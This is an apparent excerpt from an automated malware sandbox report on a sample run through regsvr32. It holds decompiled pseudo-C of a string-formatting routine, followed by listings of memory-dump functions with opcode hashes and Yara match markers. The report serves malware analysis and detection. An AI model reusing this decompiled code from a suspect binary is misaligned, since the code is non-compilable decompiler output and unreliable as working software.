				_v56 = _t266 ^ _t308 - 0x00000050;
				_t182 =  *((char*)(__rcx + 0x39));
				_t280 = __rcx;
				_t206 = _t182 - 0x64;
				if (_t206 > 0) goto 0x8004756e;
				if (_t206 == 0) goto 0x80047595;
				_t207 = _t182 - 0x53;
				if (_t207 > 0) goto 0x8004753c;
				if (_t207 == 0) goto 0x800475d8;
				if (_t207 == 0) goto 0x80047532;
				if (_t207 == 0) goto 0x80047558;
				if (_t207 == 0) goto 0x80047532;
				_t186 = _t182 - 0x3c;
				if (_t207 == 0) goto 0x80047532;
				if (_t186 != 1) goto 0x800475f8;
				_t120 = E0000000118004B050(0x78, __rcx, __rcx, __rsi, _t307);
				goto 0x800475f4;
				if (_t186 == 0x58) goto 0x800475ed;
				if (_t186 == 0x5a) goto 0x80047564;
				if (_t186 == 0x61) goto 0x80047532;
				if (_t186 != 0x63) goto 0x800475f8;
				_t121 = E0000000118004CAE0(_t120, _t186 - 0x63, __rcx, __rcx);
				goto 0x800475f4;
				E0000000118004A634(_t121, __rcx);
				goto 0x800475f4;
				if (0 - 0x6f > 0) goto 0x800475c1;
				if (0 == 0x6f) goto 0x800475a2;
				if (0 == 0x6f) goto 0x80047532;
				if (0 == 0x6f) goto 0x80047532;
				if (0 == 0x6f) goto 0x80047532;
				if (0 == 0x6f) goto 0x80047595;
				if (0xffffffffffffff97 != 5) goto 0x800475f8;
				E0000000118004D5A4(__rcx, __rcx);
				goto 0x800475f4;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E0000000118003875C(0, __rcx, __rcx, _t290, _t301, _t303, _t307, _t311, _t318);
				goto 0x800475f4;
				_t158 =  *(__rcx + 0x28);
				if ((_t158 >> 0x00000005 & 0x00000001) == 0) goto 0x800475b5;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t158;
				E00000001180036E5C(0, __rcx, __rcx, _t290, _t301, _t303, _t307, _t311, _t318);
				goto 0x800475f4;
				if (0 == 0x70) goto 0x800475df;
				if (0 == 0x73) goto 0x800475d8;
				if (0 == 0x75) goto 0x80047599;
				if (0 != 0x78) goto 0x800475f8;
				goto 0x800475ef;
				E0000000118004E120(__rcx);
				goto 0x800475f4;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				if (E0000000118003A05C(1, __rcx, __rcx, _t290, _t301, _t303, _t307, _t311, _t318) != 0) goto 0x800475ff;
				goto 0x800478de;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0x800478dc;
				_v72 = 0;
				_v70 = 0;
				if (0 == 0) goto 0x8004764b;
				if (0 == 0) goto 0x8004762f;
				_v72 = 0x2d;
				goto 0x80047646;
				if (1 == 0) goto 0x8004763a;
				_v72 = 0x2b;
				goto 0x80047646;
				if (0 == 0) goto 0x8004764b;
				_v72 = 0x20;
				_t159 =  *((intOrPtr*)(__rcx + 0x39));
				if (0 != 0) goto 0x80047663;
				if (0 == 0) goto 0x80047663;
				r8b = 1;
				goto 0x80047666;
				r8b = 0;
				if (r8b != 0) goto 0x80047677;
				if (0 == 0) goto 0x80047692;
				 *((char*)(_t307 + _t303 - 0x20)) = 0x30;
				if (_t159 == 0x58) goto 0x80047686;
				if (_t159 != 0x41) goto 0x80047689;
				dil = 0x58;
				 *((intOrPtr*)(_t307 + _t303 - 0x1f)) = dil;
				r15d =  *((intOrPtr*)(__rcx + 0x2c));
				r15d = r15d - 1;
				r15d = r15d -  *((intOrPtr*)(__rcx + 0x48));
				if (( *(__rcx + 0x28) & 0x0000000c) != 0) goto 0x80047702;
				if (r15d <= 0) goto 0x80047702;
				if (( *( *((intOrPtr*)(__rcx + 0x460)) + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x800476ce;
				if ( *((long long*)( *((intOrPtr*)(__rcx + 0x460)) + 8)) == 0) goto 0x800476e7;
				if (E0000000118005DBA8(0x20,  *((long long*)( *((intOrPtr*)(__rcx + 0x460)) + 8)),  *((intOrPtr*)(__rcx + 0x460))) == 0xffffffff) goto 0x800476fe;
				 *(__rcx + 0x20) = __rcx + 1;
				if ( *(__rcx + 0x20) == 0xfffffffe) goto 0x80047702;
				if (1 - r15d < 0) goto 0x800476ad;
				goto 0x80047702;
				 *(__rcx + 0x20) =  *(__rcx + 0x20) | 0xffffffff;
				_t292 =  *((intOrPtr*)(__rcx + 8));
				_t61 = _t280 + 0x460; // 0x4b8
				_t325 = _t61;
				_t62 = _t280 + 0x20; // 0x78
				_t302 = _t62;
				if (( *( *_t325 + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x8004772e;
				if ( *((long long*)( *_t325 + 8)) != 0) goto 0x8004772e;
				 *_t302 =  *_t302 + 1;
				goto 0x80047745;
				_v88 = _t292;
				r8d = 1;
				_t284 = _t325;
				0x800518c4();
				if (0 == 0) goto 0x800477aa;
				if (( *(__rcx + 0x28) >> 0x00000002 & 0x00000001) != 0) goto 0x800477aa;
				_t321 =  *((intOrPtr*)(__rcx + 8));
				if (r15d <= 0) goto 0x800477aa;
				if (( *( *_t325 + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x8004777d;
				if ( *((long long*)( *_t325 + 8)) == 0) goto 0x80047792;
				if (E0000000118005DBA8(0x30,  *((long long*)( *_t325 + 8)),  *_t325) == 0xffffffff) goto 0x800477a7;
				 *_t302 = _t284 + 1;
				if ( *_t302 == 0xfffffffe) goto 0x800477aa;
				if (1 - r15d < 0) goto 0x80047764;
				goto 0x800477aa;
				 *_t302 =  *_t302 | 0xffffffff;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0x8004783f;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0x8004783f;
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E0000000118005CBE0( *((intOrPtr*)(__rcx + 8)), __rcx,  &_v72,  &_v68, _t307, _t321) != 0) goto 0x8004783a;
				r8d = _v72;
				if (r8d == 0) goto 0x8004783a;
				_t275 =  *_t325;
				_t296 =  *((intOrPtr*)(_t280 + 8));
				_t173 =  *(_t275 + 0x14) >> 0xc;
				_t254 = _t173 & 0x00000001;
				if (_t254 == 0) goto 0x8004781d;
				_t174 =  >=  ?  *((void*)(_t280 + 0x78834806)) : _t173;
				if (_t254 != 0) goto 0x8004781d;
				 *_t302 =  *_t302 + r8d;
				goto 0x80047831;
				_v88 = _t296;
				0x800518c4();
				if (1 !=  *(_t280 + 0x48)) goto 0x800477c4;
				goto 0x8004787c;
				 *_t302 =  *_t302 | 0xffffffff;
				goto 0x8004787c;
				_t276 =  *_t325;
				_t298 =  *((intOrPtr*)(_t280 + 8));
				r8d =  *(_t280 + 0x48);
				_t176 =  *(_t276 + 0x14) >> 0xc;
				_t256 = _t176 & 0x00000001;
				if (_t256 == 0) goto 0x80047869;
				_t177 =  >=  ?  *((void*)(_t280 + 0x78834806)) : _t176;
				if (_t256 != 0) goto 0x80047869;
				 *_t302 =  *_t302 + r8d;
				goto 0x8004787c;
				_v88 = _t298;
				_t287 = _t325;
				0x800518c4();
				if ( *_t302 < 0) goto 0x800478dc;
				if (0 == 0) goto 0x800478dc;
				if (r15d <= 0) goto 0x800478dc;
				if (( *( *_t325 + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x800478af;
				if ( *((long long*)( *_t325 + 8)) == 0) goto 0x800478c4;
				if (E0000000118005DBA8(0x20,  *((long long*)( *_t325 + 8)),  *_t325) == 0xffffffff) goto 0x800478d9;
				 *_t302 = _t287 + 1;
				if ( *_t302 == 0xfffffffe) goto 0x800478dc;
				if (1 - r15d < 0) goto 0x80047896;
				goto 0x800478dc;
				 *_t302 =  *_t302 | 0xffffffff;
				return E000000011800149A0(1,  *_t302, _v56 ^ _t309);
			}












































                                                                                                        0x1800474cc
                                                                                                        0x1800474cc
                                                                                                        0x1800474cc
                                                                                                        0x1800474cc
                                                                                                        0x1800474cc
                                                                                                        0x1800474d1
                                                                                                        0x1800474de
                                                                                                        0x1800474e1
                                                                                                        0x1800474e5
                                                                                                        0x1800474ef
                                                                                                        0x1800474f3
                                                                                                        0x1800474f7
                                                                                                        0x1800474ff
                                                                                                        0x180047502
                                                                                                        0x180047504
                                                                                                        0x18004750a
                                                                                                        0x18004750d
                                                                                                        0x18004750f
                                                                                                        0x180047518
                                                                                                        0x18004751d
                                                                                                        0x180047522
                                                                                                        0x180047524
                                                                                                        0x180047527
                                                                                                        0x18004752c
                                                                                                        0x180047532
                                                                                                        0x180047537
                                                                                                        0x18004753f
                                                                                                        0x180047548
                                                                                                        0x18004754d
                                                                                                        0x180047552
                                                                                                        0x18004755a
                                                                                                        0x18004755f
                                                                                                        0x180047564
                                                                                                        0x180047569
                                                                                                        0x180047571
                                                                                                        0x180047573
                                                                                                        0x180047578
                                                                                                        0x18004757d
                                                                                                        0x180047582
                                                                                                        0x180047587
                                                                                                        0x18004758c
                                                                                                        0x18004758e
                                                                                                        0x180047593
                                                                                                        0x180047595
                                                                                                        0x18004759b
                                                                                                        0x1800475a0
                                                                                                        0x1800475a2
                                                                                                        0x1800475ac
                                                                                                        0x1800475ae
                                                                                                        0x1800475b2
                                                                                                        0x1800475ba
                                                                                                        0x1800475bf
                                                                                                        0x1800475c4
                                                                                                        0x1800475c9
                                                                                                        0x1800475ce
                                                                                                        0x1800475d2
                                                                                                        0x1800475d6
                                                                                                        0x1800475d8
                                                                                                        0x1800475dd
                                                                                                        0x1800475df
                                                                                                        0x1800475e6
                                                                                                        0x1800475f6
                                                                                                        0x1800475fa
                                                                                                        0x180047603
                                                                                                        0x18004760e
                                                                                                        0x180047614
                                                                                                        0x18004761e
                                                                                                        0x180047627
                                                                                                        0x180047629
                                                                                                        0x18004762d
                                                                                                        0x180047632
                                                                                                        0x180047634
                                                                                                        0x180047638
                                                                                                        0x180047640
                                                                                                        0x180047642
                                                                                                        0x18004764b
                                                                                                        0x180047653
                                                                                                        0x18004765c
                                                                                                        0x18004765e
                                                                                                        0x180047661
                                                                                                        0x180047663
                                                                                                        0x180047671
                                                                                                        0x180047675
                                                                                                        0x180047677
                                                                                                        0x18004767f
                                                                                                        0x180047684
                                                                                                        0x180047686
                                                                                                        0x180047689
                                                                                                        0x180047692
                                                                                                        0x180047696
                                                                                                        0x180047699
                                                                                                        0x1800476a0
                                                                                                        0x1800476ab
                                                                                                        0x1800476be
                                                                                                        0x1800476cc
                                                                                                        0x1800476e5
                                                                                                        0x1800476ed
                                                                                                        0x1800476f3
                                                                                                        0x1800476fa
                                                                                                        0x1800476fc
                                                                                                        0x1800476fe
                                                                                                        0x180047702
                                                                                                        0x180047706
                                                                                                        0x180047706
                                                                                                        0x180047710
                                                                                                        0x180047710
                                                                                                        0x18004771e
                                                                                                        0x180047728
                                                                                                        0x18004772a
                                                                                                        0x18004772c
                                                                                                        0x18004772e
                                                                                                        0x18004773a
                                                                                                        0x18004773d
                                                                                                        0x180047740
                                                                                                        0x18004774f
                                                                                                        0x180047757
                                                                                                        0x180047759
                                                                                                        0x180047762
                                                                                                        0x180047771
                                                                                                        0x18004777b
                                                                                                        0x180047790
                                                                                                        0x180047797
                                                                                                        0x18004779c
                                                                                                        0x1800477a3
                                                                                                        0x1800477a5
                                                                                                        0x1800477a7
                                                                                                        0x1800477ae
                                                                                                        0x1800477b8
                                                                                                        0x1800477cc
                                                                                                        0x1800477d5
                                                                                                        0x1800477de
                                                                                                        0x1800477e4
                                                                                                        0x1800477f0
                                                                                                        0x1800477f2
                                                                                                        0x1800477f9
                                                                                                        0x1800477fb
                                                                                                        0x1800477fe
                                                                                                        0x180047806
                                                                                                        0x180047809
                                                                                                        0x18004780c
                                                                                                        0x18004780d
                                                                                                        0x180047816
                                                                                                        0x180047818
                                                                                                        0x18004781b
                                                                                                        0x18004781d
                                                                                                        0x18004782c
                                                                                                        0x180047836
                                                                                                        0x180047838
                                                                                                        0x18004783a
                                                                                                        0x18004783d
                                                                                                        0x18004783f
                                                                                                        0x180047842
                                                                                                        0x180047846
                                                                                                        0x180047852
                                                                                                        0x180047855
                                                                                                        0x180047858
                                                                                                        0x180047859
                                                                                                        0x180047862
                                                                                                        0x180047864
                                                                                                        0x180047867
                                                                                                        0x180047869
                                                                                                        0x180047874
                                                                                                        0x180047877
                                                                                                        0x18004787f
                                                                                                        0x180047889
                                                                                                        0x180047894
                                                                                                        0x1800478a3
                                                                                                        0x1800478ad
                                                                                                        0x1800478c2
                                                                                                        0x1800478c9
                                                                                                        0x1800478ce
                                                                                                        0x1800478d5
                                                                                                        0x1800478d7
                                                                                                        0x1800478d9
                                                                                                        0x180047902

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 0
                                                                                                        • API String ID: 0-4108050209
                                                                                                        • Opcode ID: 746b9a85489ccf611d40ce732f06fb6f367979140d88cb12a161b5c91823b8c0
                                                                                                        • Instruction ID: fd1f36e3b9ceffe4ad933d5c0c086d02930443dd86910592e6b10046c60cebb4
                                                                                                        • Opcode Fuzzy Hash: 746b9a85489ccf611d40ce732f06fb6f367979140d88cb12a161b5c91823b8c0
                                                                                                        • Instruction Fuzzy Hash: E261B272304E4849F7E78A2C95D53ED2692A74E7CCF1BC111EE0D0A6DBCE61CA4E8349
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241E30C Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: tC+
                                                                                                        • API String ID: 0-3123289602
                                                                                                        • Opcode ID: b9ca26dcc60bb284368935ed20d8c55e7eb11e4bd528344d281fc9ffe4de4f75
                                                                                                        • Instruction ID: 6fb0720bba44a4db2d11da8d8da62b738bcb639b25ed8356827a53053bbf3ff7
                                                                                                        • Opcode Fuzzy Hash: b9ca26dcc60bb284368935ed20d8c55e7eb11e4bd528344d281fc9ffe4de4f75
                                                                                                        • Instruction Fuzzy Hash: 2A9177B590470CDFDB99DF28C08A68D7BB9FF15318F504129EC1E962A4E3B4E618CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02422158 Relevance: 1.4, Strings: 1, Instructions: 152COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: m#D2
                                                                                                        • API String ID: 0-2395067386
                                                                                                        • Opcode ID: 209c1b0d1887ea27d838a390061629e30d69a94a9b8838831046f8342367cdf3
                                                                                                        • Instruction ID: 84c5790e94a1e38c82e7469e23a4d3989144e4b62d5a4b1216695397faa4cb14
                                                                                                        • Opcode Fuzzy Hash: 209c1b0d1887ea27d838a390061629e30d69a94a9b8838831046f8342367cdf3
                                                                                                        • Instruction Fuzzy Hash: 7D513478517618CBCB68DF38D4C56AA37E0FF64308F21002EEC6687262DB74D429CB89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02402A6C Relevance: 1.4, Strings: 1, Instructions: 145COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: j
                                                                                                        • API String ID: 0-32252576
                                                                                                        • Opcode ID: fcbff777a0a80c3eaace836c11f0e09cc700afd5c300b8e0dbfedc7730dd6ac1
                                                                                                        • Instruction ID: 6d6e692bb8620bf385e9c5262e3a182496baa7283861841f5aa7b228b91535f5
                                                                                                        • Opcode Fuzzy Hash: fcbff777a0a80c3eaace836c11f0e09cc700afd5c300b8e0dbfedc7730dd6ac1
                                                                                                        • Instruction Fuzzy Hash: A271F4705487888BDBB9DF28C889ADE7BF5FB48708F10462DD84A8F290DB759685CB01
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02403970 Relevance: 1.4, Strings: 1, Instructions: 142COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: E
                                                                                                        • API String ID: 0-914838197
                                                                                                        • Opcode ID: 090e8351acb490705f5b9927042ca00d344ddc70cb668782fa20fec873457c5c
                                                                                                        • Instruction ID: 8e63b89ca11b631c75759ad86e26b1ace7332b0766b3e6e78e5d4fda6d88900a
                                                                                                        • Opcode Fuzzy Hash: 090e8351acb490705f5b9927042ca00d344ddc70cb668782fa20fec873457c5c
                                                                                                        • Instruction Fuzzy Hash: A051603121C7448BD37CDF19D8867AABBE1FB84318F049A2DD4CAD3251DB74A949CB86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02411194 Relevance: 1.4, Strings: 1, Instructions: 141COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: "'g6
                                                                                                        • API String ID: 0-4084957237
                                                                                                        • Opcode ID: 37b135fa01c5e09aac3cd5444a47d60c7194a74db6d26e63e661cb6cc0b6aed9
                                                                                                        • Instruction ID: e55aa0d315e7709bf4f470902fdb4575920d73203f3916d608d14bc7fc1d0926
                                                                                                        • Opcode Fuzzy Hash: 37b135fa01c5e09aac3cd5444a47d60c7194a74db6d26e63e661cb6cc0b6aed9
                                                                                                        • Instruction Fuzzy Hash: F6718EB090038E8FDB48CF64D88A5DE7BB1FB58358F114A19FC25A6250D3B8D668CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241DA34 Relevance: 1.4, Strings: 1, Instructions: 134COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ELR
                                                                                                        • API String ID: 0-1542880333
                                                                                                        • Opcode ID: 2ad4b878602f655bbc5a7f09a72cc0019fcdbecaca3b51402e137e5842dc0044
                                                                                                        • Instruction ID: ff8278f5f586f51ffca0d2dad9e360b34b74dc86a27b626b996292c01e0e7a06
                                                                                                        • Opcode Fuzzy Hash: 2ad4b878602f655bbc5a7f09a72cc0019fcdbecaca3b51402e137e5842dc0044
                                                                                                        • Instruction Fuzzy Hash: 605107716042898BDB48DF29C9994ED7BE1FB4830CB02432DFCCEAA2A1D77C9445CB49
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024098AC Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: dl
                                                                                                        • API String ID: 0-72126767
                                                                                                        • Opcode ID: d381311719e390d3017e7e5ef4ebe081c2e1cf01cebe5162cce194e080e07694
                                                                                                        • Instruction ID: 88ef78c42cac434293289a00cf3da77f43e5b1cfc60fe68549a7b757ae530859
                                                                                                        • Opcode Fuzzy Hash: d381311719e390d3017e7e5ef4ebe081c2e1cf01cebe5162cce194e080e07694
                                                                                                        • Instruction Fuzzy Hash: 4B4160716097048BD354CF29C18811FBBE1FBC8758F144B6EF08AE6391C778DA858B0A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242B0C4 Relevance: 1.4, Strings: 1, Instructions: 122COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: v
                                                                                                        • API String ID: 0-455330439
                                                                                                        • Opcode ID: f5877589c91a908a85a91f668d192de5ec771c96413c64811c6fe63c804e01f2
                                                                                                        • Instruction ID: 22fb10b03215572e55775f5ac1a5a92b306ee7d733637669055d14b1e745414d
                                                                                                        • Opcode Fuzzy Hash: f5877589c91a908a85a91f668d192de5ec771c96413c64811c6fe63c804e01f2
                                                                                                        • Instruction Fuzzy Hash: 6E415B7050CB588FD768DF69D08566ABBE1FB89304F014A6EE58EC7362D770D804CB82
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024243B8 Relevance: 1.4, Strings: 1, Instructions: 116COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: .m
                                                                                                        • API String ID: 0-2044528182
                                                                                                        • Opcode ID: 767fa34683472406b6f9e23b2fad30f97f16a1091e6d7a54c38b913426a77953
                                                                                                        • Instruction ID: 7fe8569e3adb4717461cd671f039de90b19eabb4edc4003d36d043a95594ac45
                                                                                                        • Opcode Fuzzy Hash: 767fa34683472406b6f9e23b2fad30f97f16a1091e6d7a54c38b913426a77953
                                                                                                        • Instruction Fuzzy Hash: 5541A07160DB948FD728DF28D48955AB7E0FB96304F400A6DE6CAC7252DB70D809CB82
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024233B0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: X N
                                                                                                        • API String ID: 0-2011955341
                                                                                                        • Opcode ID: 9fb620cc40a3c4fc1e7eb1a807cb384446f63d68e344d60e6c55f7477c83bd6a
                                                                                                        • Instruction ID: 99b8ad0d287316be86bd14457f4ada2d62d130cb3c907e1aebdba770876dd0b7
                                                                                                        • Opcode Fuzzy Hash: 9fb620cc40a3c4fc1e7eb1a807cb384446f63d68e344d60e6c55f7477c83bd6a
                                                                                                        • Instruction Fuzzy Hash: 9D51F5B090038E8FDF48CF68C88A5DE7BB0FB58358F10461DE825A7250D3B89664CF94
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240D52C Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: e
                                                                                                        • API String ID: 0-3362642940
                                                                                                        • Opcode ID: 1c88629778dc0a2a7c7687eb75f1434f2bbe4ac4deb0d8e9ae115d8195991684
                                                                                                        • Instruction ID: e86201446ad6e9e9a30eb9f0b5a777d274a27df1b54e1ccd8020ccdca5fd241d
                                                                                                        • Opcode Fuzzy Hash: 1c88629778dc0a2a7c7687eb75f1434f2bbe4ac4deb0d8e9ae115d8195991684
                                                                                                        • Instruction Fuzzy Hash: 0351D5B091030E8FDB48CF69C48A4DE7FB0FB58398F24461DE855A6294D37496A4CFD5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02410F74 Relevance: 1.3, Strings: 1, Instructions: 97COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: \,,$
                                                                                                        • API String ID: 0-2499436541
                                                                                                        • Opcode ID: 5cb2bd00fe9d774cc489deb549315b2d2d3ece84ee127abecfbe283dfcc8b405
                                                                                                        • Instruction ID: fb8fb485296ad1fbf4aa8d414055280204d3d3c87c6dff377f21f21b2fd0ab3b
                                                                                                        • Opcode Fuzzy Hash: 5cb2bd00fe9d774cc489deb549315b2d2d3ece84ee127abecfbe283dfcc8b405
                                                                                                        • Instruction Fuzzy Hash: 9351D370118788DBEBBACF24C8896DA77B1FB48708F904219D84E8A250DF749749DB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240E42C Relevance: 1.3, Strings: 1, Instructions: 96COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: P
                                                                                                        • API String ID: 0-3110715001
                                                                                                        • Opcode ID: ebaaead1743508c78401fee7b7e6642254012508254cd702aa09cbad3bb50d96
                                                                                                        • Instruction ID: 338f017d349fbfeba8a3e3a4c1dfbfd509fc58cfed90b7da2bc139ea0f82f657
                                                                                                        • Opcode Fuzzy Hash: ebaaead1743508c78401fee7b7e6642254012508254cd702aa09cbad3bb50d96
                                                                                                        • Instruction Fuzzy Hash: 0141FF7150CB848FD778DF28D48579BBBE1FB88304F608A6EE489C72A5CB7494498F46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02407620 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: i?
